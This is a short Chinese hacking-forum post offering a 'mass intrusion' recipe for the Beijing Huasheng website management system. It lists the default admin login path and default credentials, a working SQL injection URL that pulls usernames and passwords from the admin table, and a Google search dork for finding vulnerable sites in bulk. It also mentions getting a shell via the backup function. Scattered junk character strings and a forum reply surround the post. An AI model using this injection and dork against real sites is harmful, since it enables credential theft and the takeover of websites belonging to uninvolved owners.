批量入侵 北京华盛网站管理系统 注入漏洞

荒村狂客

默认后台：admin/Login.asp

. I( Q% }2 u, M6 J- j" c/ Y

默认密码：admin 123456

! H, ^. Q, A) h- t- t0 s5 R
. F0 }8 j1 d9 j8 N- ^

exp:

0 _/ T) h& U0 i) H% {6 V4 ~4 w

http://www.xxxxx.com/show_pt.asp?id=1568 and 1=2 union select 1,password,3,username,5,6,7,8,9,10,11,12,13,14,15 from admin

: f$ o1 I$ J* z% ?: [% ^

注：错误会返回主页。如字段不对，自行构造！拿shell有备份。

1 _" z" ^* L$ P* i+ \  E
- R3 N6 `8 R' s: }& x: S9 k

google批量关键词    inurl:show_pt.asp?id= 【页面收藏】网站地图

浪子

看帖不回是不道德滴。。